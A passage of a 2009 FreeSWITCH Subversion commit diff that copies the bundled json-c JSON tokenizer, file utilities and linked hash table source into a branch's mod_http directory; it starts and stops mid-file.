+#define state  tok->stack[tok->depth].state
+#define saved_state  tok->stack[tok->depth].saved_state
+#define current tok->stack[tok->depth].current
+#define obj_field_name tok->stack[tok->depth].obj_field_name
+
+struct json_object *json_tokener_parse_ex(struct json_tokener *tok, char *str, int len)
+{
+	struct json_object *obj = NULL;
+	char c;
+
+	tok->char_offset = 0;
+	tok->err = json_tokener_success;
+
+	do {
+		if (tok->char_offset == len) {
+			if (tok->depth == 0 && state == json_tokener_state_eatws && saved_state == json_tokener_state_finish)
+				tok->err = json_tokener_success;
+			else
+				tok->err = json_tokener_continue;
+			goto out;
+		}
+
+		c = *str;
+	  redo_char:
+		switch (state) {
+
+		case json_tokener_state_eatws:
+			if (isspace(c)) {
+				/* okay */
+			} else if (c == '/') {
+				printbuf_reset(tok->pb);
+				printbuf_memappend(tok->pb, &c, 1);
+				state = json_tokener_state_comment_start;
+			} else {
+				state = saved_state;
+				goto redo_char;
+			}
+			break;
+
+		case json_tokener_state_start:
+			switch (c) {
+			case '{':
+				state = json_tokener_state_eatws;
+				saved_state = json_tokener_state_object_field_start;
+				current = json_object_new_object();
+				break;
+			case '[':
+				state = json_tokener_state_eatws;
+				saved_state = json_tokener_state_array;
+				current = json_object_new_array();
+				break;
+			case 'N':
+			case 'n':
+				state = json_tokener_state_null;
+				printbuf_reset(tok->pb);
+				tok->st_pos = 0;
+				goto redo_char;
+			case '"':
+			case '\'':
+				state = json_tokener_state_string;
+				printbuf_reset(tok->pb);
+				tok->quote_char = c;
+				break;
+			case 'T':
+			case 't':
+			case 'F':
+			case 'f':
+				state = json_tokener_state_boolean;
+				printbuf_reset(tok->pb);
+				tok->st_pos = 0;
+				goto redo_char;
+/*
+#if defined(__GNUC__)
+	  case '0' ... '9':
+#else
+*/
+			case '0':
+			case '1':
+			case '2':
+			case '3':
+			case '4':
+			case '5':
+			case '6':
+			case '7':
+			case '8':
+			case '9':
+/*
+#endif
+*/
+			case '-':
+				state = json_tokener_state_number;
+				printbuf_reset(tok->pb);
+				tok->is_double = 0;
+				goto redo_char;
+			default:
+				tok->err = json_tokener_error_parse_unexpected;
+				goto out;
+			}
+			break;
+
+		case json_tokener_state_finish:
+			if (tok->depth == 0)
+				goto out;
+			obj = json_object_get(current);
+			json_tokener_reset_level(tok, tok->depth);
+			tok->depth--;
+			goto redo_char;
+
+		case json_tokener_state_null:
+			printbuf_memappend(tok->pb, &c, 1);
+			if (strncasecmp(json_null_str, tok->pb->buf, min(tok->st_pos + 1, strlen(json_null_str))) == 0) {
+				if (tok->st_pos == strlen(json_null_str)) {
+					current = NULL;
+					saved_state = json_tokener_state_finish;
+					state = json_tokener_state_eatws;
+					goto redo_char;
+				}
+			} else {
+				tok->err = json_tokener_error_parse_null;
+				goto out;
+			}
+			tok->st_pos++;
+			break;
+
+		case json_tokener_state_comment_start:
+			if (c == '*') {
+				state = json_tokener_state_comment;
+			} else if (c == '/') {
+				state = json_tokener_state_comment_eol;
+			} else {
+				tok->err = json_tokener_error_parse_comment;
+				goto out;
+			}
+			printbuf_memappend(tok->pb, &c, 1);
+			break;
+
+		case json_tokener_state_comment:
+			if (c == '*')
+				state = json_tokener_state_comment_end;
+			printbuf_memappend(tok->pb, &c, 1);
+			break;
+
+		case json_tokener_state_comment_eol:
+			if (c == '\n') {
+				mc_debug("json_tokener_comment: %s\n", tok->pb->buf);
+				state = json_tokener_state_eatws;
+			} else {
+				printbuf_memappend(tok->pb, &c, 1);
+			}
+			break;
+
+		case json_tokener_state_comment_end:
+			printbuf_memappend(tok->pb, &c, 1);
+			if (c == '/') {
+				mc_debug("json_tokener_comment: %s\n", tok->pb->buf);
+				state = json_tokener_state_eatws;
+			} else {
+				state = json_tokener_state_comment;
+			}
+			break;
+
+		case json_tokener_state_string:
+			if (c == tok->quote_char) {
+				current = json_object_new_string(tok->pb->buf);
+				saved_state = json_tokener_state_finish;
+				state = json_tokener_state_eatws;
+			} else if (c == '\\') {
+				saved_state = json_tokener_state_string;
+				state = json_tokener_state_string_escape;
+			} else {
+				printbuf_memappend(tok->pb, &c, 1);
+			}
+			break;
+
+		case json_tokener_state_string_escape:
+			switch (c) {
+			case '"':
+			case '\\':
+			case '/':
+				printbuf_memappend(tok->pb, &c, 1);
+				state = saved_state;
+				break;
+			case 'b':
+			case 'n':
+			case 'r':
+			case 't':
+				if (c == 'b')
+					printbuf_memappend(tok->pb, "\b", 1);
+				else if (c == 'n')
+					printbuf_memappend(tok->pb, "\n", 1);
+				else if (c == 'r')
+					printbuf_memappend(tok->pb, "\r", 1);
+				else if (c == 't')
+					printbuf_memappend(tok->pb, "\t", 1);
+				state = saved_state;
+				break;
+			case 'u':
+				tok->ucs_char = 0;
+				tok->st_pos = 0;
+				state = json_tokener_state_escape_unicode;
+				break;
+			default:
+				tok->err = json_tokener_error_parse_string;
+				goto out;
+			}
+			break;
+
+		case json_tokener_state_escape_unicode:
+			if (strchr(json_hex_chars, c)) {
+				tok->ucs_char += ((unsigned int) hexdigit(c) << ((3 - tok->st_pos++) * 4));
+				if (tok->st_pos == 4) {
+					unsigned char utf_out[3];
+					if (tok->ucs_char < 0x80) {
+						utf_out[0] = tok->ucs_char;
+						printbuf_memappend(tok->pb, (char *) utf_out, 1);
+					} else if (tok->ucs_char < 0x800) {
+						utf_out[0] = 0xc0 | (tok->ucs_char >> 6);
+						utf_out[1] = 0x80 | (tok->ucs_char & 0x3f);
+						printbuf_memappend(tok->pb, (char *) utf_out, 2);
+					} else {
+						utf_out[0] = 0xe0 | (tok->ucs_char >> 12);
+						utf_out[1] = 0x80 | ((tok->ucs_char >> 6) & 0x3f);
+						utf_out[2] = 0x80 | (tok->ucs_char & 0x3f);
+						printbuf_memappend(tok->pb, (char *) utf_out, 3);
+					}
+					state = saved_state;
+				}
+			} else {
+				tok->err = json_tokener_error_parse_string;
+				goto out;
+			}
+			break;
+
+		case json_tokener_state_boolean:
+			printbuf_memappend(tok->pb, &c, 1);
+			if (strncasecmp(json_true_str, tok->pb->buf, min(tok->st_pos + 1, strlen(json_true_str))) == 0) {
+				if (tok->st_pos == strlen(json_true_str)) {
+					current = json_object_new_boolean(1);
+					saved_state = json_tokener_state_finish;
+					state = json_tokener_state_eatws;
+					goto redo_char;
+				}
+			} else if (strncasecmp(json_false_str, tok->pb->buf, min(tok->st_pos + 1, strlen(json_false_str))) == 0) {
+				if (tok->st_pos == strlen(json_false_str)) {
+					current = json_object_new_boolean(0);
+					saved_state = json_tokener_state_finish;
+					state = json_tokener_state_eatws;
+					goto redo_char;
+				}
+			} else {
+				tok->err = json_tokener_error_parse_boolean;
+				goto out;
+			}
+			tok->st_pos++;
+			break;
+
+		case json_tokener_state_number:
+			if (c && strchr(json_number_chars, c)) {
+				printbuf_memappend(tok->pb, &c, 1);
+				if (c == '.' || c == 'e')
+					tok->is_double = 1;
+			} else {
+				int numi;
+				double numd;
+				if (!tok->is_double && sscanf(tok->pb->buf, "%d", &numi) == 1) {
+					current = json_object_new_int(numi);
+				} else if (tok->is_double && sscanf(tok->pb->buf, "%lf", &numd) == 1) {
+					current = json_object_new_double(numd);
+				} else {
+					tok->err = json_tokener_error_parse_number;
+					goto out;
+				}
+				saved_state = json_tokener_state_finish;
+				state = json_tokener_state_eatws;
+				goto redo_char;
+			}
+			break;
+
+		case json_tokener_state_array:
+			if (c == ']') {
+				saved_state = json_tokener_state_finish;
+				state = json_tokener_state_eatws;
+			} else {
+				if (tok->depth >= JSON_TOKENER_MAX_DEPTH - 1) {
+					tok->err = json_tokener_error_depth;
+					goto out;
+				}
+				state = json_tokener_state_array_add;
+				tok->depth++;
+				json_tokener_reset_level(tok, tok->depth);
+				goto redo_char;
+			}
+			break;
+
+		case json_tokener_state_array_add:
+			json_object_array_add(current, obj);
+			saved_state = json_tokener_state_array_sep;
+			state = json_tokener_state_eatws;
+			goto redo_char;
+
+		case json_tokener_state_array_sep:
+			if (c == ']') {
+				saved_state = json_tokener_state_finish;
+				state = json_tokener_state_eatws;
+			} else if (c == ',') {
+				saved_state = json_tokener_state_array;
+				state = json_tokener_state_eatws;
+			} else {
+				tok->err = json_tokener_error_parse_array;
+				goto out;
+			}
+			break;
+
+		case json_tokener_state_object_field_start:
+			if (c == '}') {
+				saved_state = json_tokener_state_finish;
+				state = json_tokener_state_eatws;
+			} else if (c == '"' || c == '\'') {
+				tok->quote_char = c;
+				printbuf_reset(tok->pb);
+				state = json_tokener_state_object_field;
+			} else {
+				tok->err = json_tokener_error_parse_object_key_name;
+				goto out;
+			}
+			break;
+
+		case json_tokener_state_object_field:
+			if (c == tok->quote_char) {
+				obj_field_name = strdup(tok->pb->buf);
+				saved_state = json_tokener_state_object_field_end;
+				state = json_tokener_state_eatws;
+			} else if (c == '\\') {
+				saved_state = json_tokener_state_object_field;
+				state = json_tokener_state_string_escape;
+			} else {
+				printbuf_memappend(tok->pb, &c, 1);
+			}
+			break;
+
+		case json_tokener_state_object_field_end:
+			if (c == ':') {
+				saved_state = json_tokener_state_object_value;
+				state = json_tokener_state_eatws;
+			} else {
+				tok->err = json_tokener_error_parse_object_key_sep;
+				goto out;
+			}
+			break;
+
+		case json_tokener_state_object_value:
+			if (tok->depth >= JSON_TOKENER_MAX_DEPTH - 1) {
+				tok->err = json_tokener_error_depth;
+				goto out;
+			}
+			state = json_tokener_state_object_value_add;
+			tok->depth++;
+			json_tokener_reset_level(tok, tok->depth);
+			goto redo_char;
+
+		case json_tokener_state_object_value_add:
+			json_object_object_add(current, obj_field_name, obj);
+			free(obj_field_name);
+			obj_field_name = NULL;
+			saved_state = json_tokener_state_object_sep;
+			state = json_tokener_state_eatws;
+			goto redo_char;
+
+		case json_tokener_state_object_sep:
+			if (c == '}') {
+				saved_state = json_tokener_state_finish;
+				state = json_tokener_state_eatws;
+			} else if (c == ',') {
+				saved_state = json_tokener_state_object_field_start;
+				state = json_tokener_state_eatws;
+			} else {
+				tok->err = json_tokener_error_parse_object_value_sep;
+				goto out;
+			}
+			break;
+
+		}
+		str++;
+		tok->char_offset++;
+	} while (c);
+
+	if (state != json_tokener_state_finish && saved_state != json_tokener_state_finish)
+		tok->err = json_tokener_error_parse_eof;
+
+  out:
+	if (tok->err == json_tokener_success)
+		return json_object_get(current);
+	mc_debug("json_tokener_parse_ex: error %s at offset %d\n", json_tokener_errors[tok->err], tok->char_offset);
+	return NULL;
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_tokener.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_tokener.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/json_tokener.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/json_tokener.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/json_tokener.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+/*
+ * $Id: json_tokener.h,v 1.10 2006/07/25 03:24:50 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _json_tokener_h_
+#define _json_tokener_h_
+
+#include "json_object.h"
+
+enum json_tokener_error {
+	json_tokener_success,
+	json_tokener_continue,
+	json_tokener_error_depth,
+	json_tokener_error_parse_eof,
+	json_tokener_error_parse_unexpected,
+	json_tokener_error_parse_null,
+	json_tokener_error_parse_boolean,
+	json_tokener_error_parse_number,
+	json_tokener_error_parse_array,
+	json_tokener_error_parse_object_key_name,
+	json_tokener_error_parse_object_key_sep,
+	json_tokener_error_parse_object_value_sep,
+	json_tokener_error_parse_string,
+	json_tokener_error_parse_comment
+};
+
+enum json_tokener_state {
+	json_tokener_state_eatws,
+	json_tokener_state_start,
+	json_tokener_state_finish,
+	json_tokener_state_null,
+	json_tokener_state_comment_start,
+	json_tokener_state_comment,
+	json_tokener_state_comment_eol,
+	json_tokener_state_comment_end,
+	json_tokener_state_string,
+	json_tokener_state_string_escape,
+	json_tokener_state_escape_unicode,
+	json_tokener_state_boolean,
+	json_tokener_state_number,
+	json_tokener_state_array,
+	json_tokener_state_array_add,
+	json_tokener_state_array_sep,
+	json_tokener_state_object_field_start,
+	json_tokener_state_object_field,
+	json_tokener_state_object_field_end,
+	json_tokener_state_object_value,
+	json_tokener_state_object_value_add,
+	json_tokener_state_object_sep
+};
+
+struct json_tokener_srec {
+	enum json_tokener_state state, saved_state;
+	struct json_object *obj;
+	struct json_object *current;
+	char *obj_field_name;
+};
+
+#define JSON_TOKENER_MAX_DEPTH 32
+
+struct json_tokener {
+	char *str;
+	struct printbuf *pb;
+	int depth, is_double, st_pos, char_offset;
+	enum json_tokener_error err;
+	unsigned int ucs_char;
+	char quote_char;
+	struct json_tokener_srec stack[JSON_TOKENER_MAX_DEPTH];
+};
+
+extern const char *json_tokener_errors[];
+
+extern struct json_tokener *json_tokener_new();
+extern void json_tokener_free(struct json_tokener *tok);
+extern void json_tokener_reset(struct json_tokener *tok);
+extern struct json_object *json_tokener_parse(char *str);
+extern struct json_object *json_tokener_parse_ex(struct json_tokener *tok, char *str, int len);
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_util.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_util.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/json_util.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/json_util.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/json_util.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,119 @@
+/*
+ * $Id: json_util.c,v 1.4 2006/01/30 23:07:57 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <limits.h>
+#include <string.h>
+#include <errno.h>
+
+#if HAVE_SYS_TYPES_H
+#include <sys/types.h>
+#endif /* HAVE_SYS_TYPES_H */
+
+#if HAVE_SYS_STAT_H
+#include <sys/stat.h>
+#endif /* HAVE_SYS_STAT_H */
+
+#if HAVE_FCNTL_H
+#include <fcntl.h>
+#endif /* HAVE_FCNTL_H */
+
+#if HAVE_UNISTD_H
+# include <unistd.h>
+#endif /* HAVE_UNISTD_H */
+
+#ifdef WIN32
+# define WIN32_LEAN_AND_MEAN
+# include <windows.h>
+# include <io.h>
+#endif /* defined(WIN32) */
+
+#if !HAVE_OPEN && defined(WIN32)
+# define open _open
+#endif
+
+
+#include "bits.h"
+#include "debug.h"
+#include "printbuf.h"
+#include "json_object.h"
+#include "json_tokener.h"
+#include "json_util.h"
+
+struct json_object *json_object_from_file(char *filename)
+{
+	struct printbuf *pb;
+	struct json_object *obj;
+	char buf[JSON_FILE_BUF_SIZE];
+	int fd, ret;
+
+	if ((fd = open(filename, O_RDONLY)) < 0) {
+		mc_error("json_object_from_file: error reading file %s: %s\n", filename, strerror(errno));
+		return error_ptr(-1);
+	}
+	if (!(pb = printbuf_new())) {
+		mc_error("json_object_from_file: printbuf_new failed\n");
+		return error_ptr(-1);
+	}
+	while ((ret = read(fd, buf, JSON_FILE_BUF_SIZE)) > 0) {
+		printbuf_memappend(pb, buf, ret);
+	}
+	close(fd);
+	if (ret < 0) {
+		mc_abort("json_object_from_file: error reading file %s: %s\n", filename, strerror(errno));
+		printbuf_free(pb);
+		return error_ptr(-1);
+	}
+	obj = json_tokener_parse(pb->buf);
+	printbuf_free(pb);
+	return obj;
+}
+
+int json_object_to_file(char *filename, struct json_object *obj)
+{
+	char *json_str;
+	int fd, ret;
+	unsigned int wpos, wsize;
+
+	if (!obj) {
+		mc_error("json_object_to_file: object is null\n");
+		return -1;
+	}
+
+	if ((fd = open(filename, O_WRONLY | O_TRUNC | O_CREAT, 0644)) < 0) {
+		mc_error("json_object_to_file: error opening file %s: %s\n", filename, strerror(errno));
+		return -1;
+	}
+
+	if (!(json_str = json_object_to_json_string(obj))) {
+		return -1;
+	}
+
+
+	wsize = (unsigned int) (strlen(json_str) & UINT_MAX);	/* CAW: probably unnecessary, but the most 64bit safe */
+	wpos = 0;
+	while (wpos < wsize) {
+		if ((ret = write(fd, json_str + wpos, wsize - wpos)) < 0) {
+			close(fd);
+			mc_error("json_object_to_file: error writing file %s: %s\n", filename, strerror(errno));
+			return -1;
+		}
+
+		/* because of the above check for ret < 0, we can safely cast and add */
+		wpos += (unsigned int) ret;
+	}
+
+	close(fd);
+	return 0;
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_util.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/json_util.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/json_util.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/json_util.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/json_util.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+/*
+ * $Id: json_util.h,v 1.4 2006/01/30 23:07:57 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _json_util_h_
+#define _json_util_h_
+
+#include "json_object.h"
+
+#define JSON_FILE_BUF_SIZE 4096
+
+/* utlitiy functions */
+extern struct json_object *json_object_from_file(char *filename);
+extern int json_object_to_file(char *filename, struct json_object *obj);
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/linkhash.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/linkhash.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/linkhash.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/linkhash.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/linkhash.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,226 @@
+/*
+ * $Id: linkhash.c,v 1.4 2006/01/26 02:16:28 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <limits.h>
+
+#include "linkhash.h"
+
+void lh_abort(const char *msg, ...)
+{
+	va_list ap;
+	va_start(ap, msg);
+	vprintf(msg, ap);
+	exit(1);
+}
+
+uint32_t lh_ptr_hash(void *k)
+{
+	/* CAW: refactored to be 64bit nice */
+	return (uint32_t) ((((ptrdiff_t) k * LH_PRIME) >> 4) & ULONG_MAX);
+}
+
+int lh_ptr_equal(void *k1, void *k2)
+{
+	return (k1 == k2);
+}
+
+uint32_t lh_char_hash(void *k)
+{
+	unsigned int h = 0;
+	const char *data = k;
+
+	while (*data != 0)
+		h = h * 129 + (unsigned int) (*data++) + LH_PRIME;
+
+	return h;
+}
+
+int lh_char_equal(void *k1, void *k2)
+{
+	return (strcmp((char *) k1, (char *) k2) == 0);
+}
+
+struct lh_table *lh_table_new(int size, char *name, lh_entry_free_fn * free_fn, lh_hash_fn * hash_fn, lh_equal_fn * equal_fn)
+{
+	int i;
+	struct lh_table *t;
+
+	t = calloc(1, sizeof(struct lh_table));
+	if (!t)
+		lh_abort("lh_table_new: calloc failed\n");
+	t->count = 0;
+	t->size = size;
+	t->name = name;
+	t->table = calloc(size, sizeof(struct lh_entry));
+	if (!t->table)
+		lh_abort("lh_table_new: calloc failed\n");
+	t->free_fn = free_fn;
+	t->hash_fn = hash_fn;
+	t->equal_fn = equal_fn;
+	for (i = 0; i < size; i++)
+		t->table[i].k = LH_EMPTY;
+	return t;
+}
+
+struct lh_table *lh_kchar_table_new(int size, char *name, lh_entry_free_fn * free_fn)
+{
+	return lh_table_new(size, name, free_fn, lh_char_hash, lh_char_equal);
+}
+
+struct lh_table *lh_kptr_table_new(int size, char *name, lh_entry_free_fn * free_fn)
+{
+	return lh_table_new(size, name, free_fn, lh_ptr_hash, lh_ptr_equal);
+}
+
+void lh_table_resize(struct lh_table *t, int new_size)
+{
+	struct lh_table *new_t;
+	struct lh_entry *ent;
+
+	new_t = lh_table_new(new_size, t->name, NULL, t->hash_fn, t->equal_fn);
+	ent = t->head;
+	while (ent) {
+		lh_table_insert(new_t, ent->k, ent->v);
+		ent = ent->next;
+	}
+	free(t->table);
+	t->table = new_t->table;
+	t->size = new_size;
+	t->head = new_t->head;
+	t->tail = new_t->tail;
+	t->resizes++;
+	free(new_t);
+}
+
+void lh_table_free(struct lh_table *t)
+{
+	struct lh_entry *c;
+	for (c = t->head; c != NULL; c = c->next) {
+		if (t->free_fn) {
+			t->free_fn(c);
+		}
+	}
+	free(t->table);
+	free(t);
+}
+
+
+int lh_table_insert(struct lh_table *t, void *k, void *v)
+{
+	uint32_t h, n;
+
+	t->inserts++;
+	if (t->count > t->size * 0.66)
+		lh_table_resize(t, t->size * 2);
+
+	h = t->hash_fn(k);
+	n = h % t->size;
+
+	while (1) {
+		if (t->table[n].k == LH_EMPTY || t->table[n].k == LH_FREED)
+			break;
+		t->collisions++;
+		if (++n == t->size)
+			n = 0;
+	}
+
+	t->table[n].k = k;
+	t->table[n].v = v;
+	t->count++;
+
+	if (t->head == NULL) {
+		t->head = t->tail = &t->table[n];
+		t->table[n].next = t->table[n].prev = NULL;
+	} else {
+		t->tail->next = &t->table[n];
+		t->table[n].prev = t->tail;
+		t->table[n].next = NULL;
+		t->tail = &t->table[n];
+	}
+
+	return 0;
+}
+
+
+struct lh_entry *lh_table_lookup_entry(struct lh_table *t, void *k)
+{
+	uint32_t h = t->hash_fn(k);
+	uint32_t n = h % t->size;
+
+	t->lookups++;
+	while (1) {
+		if (t->table[n].k == LH_EMPTY)
+			return NULL;
+		if (t->table[n].k != LH_FREED && t->equal_fn(t->table[n].k, k))
+			return &t->table[n];
+		if (++n == t->size)
+			n = 0;
+	}
+	return NULL;
+}
+
+
+void *lh_table_lookup(struct lh_table *t, void *k)
+{
+	struct lh_entry *e = lh_table_lookup_entry(t, k);
+	if (e)
+		return e->v;
+	return NULL;
+}
+
+
+int lh_table_delete_entry(struct lh_table *t, struct lh_entry *e)
+{
+	ptrdiff_t n = (ptrdiff_t) (e - t->table);	/* CAW: fixed to be 64bit nice, still need the crazy negative case... */
+
+	/* CAW: this is bad, really bad, maybe stack goes other direction on this machine... */
+	if (n < 0) {
+		return -2;
+	}
+
+	if (t->table[n].k == LH_EMPTY || t->table[n].k == LH_FREED)
+		return -1;
+	t->count--;
+	if (t->free_fn)
+		t->free_fn(e);
+	t->table[n].v = NULL;
+	t->table[n].k = LH_FREED;
+	if (t->tail == &t->table[n] && t->head == &t->table[n]) {
+		t->head = t->tail = NULL;
+	} else if (t->head == &t->table[n]) {
+		t->head->next->prev = NULL;
+		t->head = t->head->next;
+	} else if (t->tail == &t->table[n]) {
+		t->tail->prev->next = NULL;
+		t->tail = t->tail->prev;
+	} else {
+		t->table[n].prev->next = t->table[n].next;
+		t->table[n].next->prev = t->table[n].prev;
+	}
+	t->table[n].next = t->table[n].prev = NULL;
+	return 0;
+}
+
+
+int lh_table_delete(struct lh_table *t, void *k)
+{
+	struct lh_entry *e = lh_table_lookup_entry(t, k);
+	if (!e)
+		return -1;
+	return lh_table_delete_entry(t, e);
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/linkhash.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/linkhash.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/linkhash.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/linkhash.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/linkhash.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,257 @@
+/*
+ * $Id: linkhash.h,v 1.6 2006/01/30 23:07:57 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _linkhash_h_
+#define _linkhash_h_
+#include <inttypes.h>
+
+/**
+ * golden prime used in hash functions
+ */
+#define LH_PRIME 0x9e370001UL
+
+/**
+ * sentinel pointer value for empty slots
+ */
+#define LH_EMPTY (void*)-1
+
+/**
+ * sentinel pointer value for freed slots
+ */
+#define LH_FREED (void*)-2
+
+struct lh_entry;
+
+/**
+ * callback function prototypes
+ */
+typedef void (lh_entry_free_fn) (struct lh_entry * e);
+/**
+ * callback function prototypes
+ */
+typedef uint32_t(lh_hash_fn) (void *k);
+/**
+ * callback function prototypes
+ */
+typedef int (lh_equal_fn) (void *k1, void *k2);
+
+/**
+ * An entry in the hash table
+ */
+struct lh_entry {
+	/**
+	 * The key.
+	 */
+	void *k;
+	/**
+	 * The value.
+	 */
+	void *v;
+	/**
+	 * The next entry
+	 */
+	struct lh_entry *next;
+	/**
+	 * The previous entry.
+	 */
+	struct lh_entry *prev;
+};
+
+
+/**
+ * The hash table structure.
+ */
+struct lh_table {
+	/**
+	 * Size of our hash.
+	 */
+	int size;
+	/**
+	 * Numbers of entries.
+	 */
+	int count;
+
+	/**
+	 * Number of collisions.
+	 */
+	int collisions;
+
+	/**
+	 * Number of resizes.
+	 */
+	int resizes;
+
+	/**
+	 * Number of lookups.
+	 */
+	int lookups;
+
+	/**
+	 * Number of inserts.
+	 */
+	int inserts;
+
+	/**
+	 * Number of deletes.
+	 */
+	int deletes;
+
+	/**
+	 * Name of the hash table.
+	 */
+	char *name;
+
+	/**
+	 * The first entry.
+	 */
+	struct lh_entry *head;
+
+	/**
+	 * The last entry.
+	 */
+	struct lh_entry *tail;
+
+	struct lh_entry *table;
+
+	/**
+	 * A pointer onto the function responsible for freeing an entry.
+	 */
+	lh_entry_free_fn *free_fn;
+	lh_hash_fn *hash_fn;
+	lh_equal_fn *equal_fn;
+};
+
+
+/**
+ * Pre-defined hash and equality functions
+ */
+extern uint32_t lh_ptr_hash(void *k);
+extern int lh_ptr_equal(void *k1, void *k2);
+
+extern uint32_t lh_char_hash(void *k);
+extern int lh_char_equal(void *k1, void *k2);
+
+
+/**
+ * Convenience list iterator.
+ */
+#define lh_foreach(table, entry) \
+for(entry = table->head; entry; entry = entry->next)
+
+/**
+ * lh_foreach_safe allows calling of deletion routine while iterating.
+ */
+#define lh_foreach_safe(table, entry, tmp) \
+for(entry = table->head; entry && ((tmp = entry->next) || 1); entry = tmp)
+
+
+
+/**
+ * Create a new linkhash table.
+ * @param size initial table size. The table is automatically resized
+ * although this incurs a performance penalty.
+ * @param name the table name.
+ * @param free_fn callback function used to free memory for entries
+ * when lh_table_free or lh_table_delete is called.
+ * If NULL is provided, then memory for keys and values
+ * must be freed by the caller.
+ * @param hash_fn  function used to hash keys. 2 standard ones are defined:
+ * lh_ptr_hash and lh_char_hash for hashing pointer values
+ * and C strings respectively.
+ * @param equal_fn comparison function to compare keys. 2 standard ones defined:
+ * lh_ptr_hash and lh_char_hash for comparing pointer values
+ * and C strings respectively.
+ * @return a pointer onto the linkhash table.
+ */
+extern struct lh_table *lh_table_new(int size, char *name, lh_entry_free_fn * free_fn, lh_hash_fn * hash_fn, lh_equal_fn * equal_fn);
+
+/**
+ * Convenience function to create a new linkhash
+ * table with char keys.
+ * @param size initial table size.
+ * @param name table name.
+ * @param free_fn callback function used to free memory for entries.
+ * @return a pointer onto the linkhash table.
+ */
+extern struct lh_table *lh_kchar_table_new(int size, char *name, lh_entry_free_fn * free_fn);
+
+
+/**
+ * Convenience function to create a new linkhash
+ * table with ptr keys.
+ * @param size initial table size.
+ * @param name table name.
+ * @param free_fn callback function used to free memory for entries.
+ * @return a pointer onto the linkhash table.
+ */
+extern struct lh_table *lh_kptr_table_new(int size, char *name, lh_entry_free_fn * free_fn);
+
+
+/**
+ * Free a linkhash table.
+ * If a callback free function is provided then it is called for all
+ * entries in the table.
+ * @param t table to free.
+ */
+extern void lh_table_free(struct lh_table *t);
+
+
+/**
+ * Insert a record into the table.
+ * @param t the table to insert into.
+ * @param k a pointer to the key to insert.
+ * @param v a pointer to the value to insert.
+ */
+extern int lh_table_insert(struct lh_table *t, void *k, void *v);
+
+
+/**
+ * Lookup a record into the table.
+ * @param t the table to lookup
+ * @param k a pointer to the key to lookup
+ * @return a pointer to the record structure of the value or NULL if it does not exist.
+ */
+extern struct lh_entry *lh_table_lookup_entry(struct lh_table *t, void *k);
+
+/**
+ * Lookup a record into the table
+ * @param t the table to lookup
+ * @param k a pointer to the key to lookup
+ * @return a pointer to the found value or NULL if it does not exist.
+ */
+extern void *lh_table_lookup(struct lh_table *t, void *k);
+
+
+/**
+ * Delete a record from the table.
+ * If a callback free function is provided then it is called for the
+ * for the item being deleted.
+ * @param t the table to delete from.
+ * @param e a pointer to the entry to delete.
+ * @return 0 if the item was deleted.
+ * @return -1 if it was not found.
+ */
+extern int lh_table_delete_entry(struct lh_table *t, struct lh_entry *e);
+
+
+/**
+ * Delete a record from the table.
+ * If a callback free function is provided then it is called for the
+ * for the item being deleted.
+ * @param t the table to delete from.
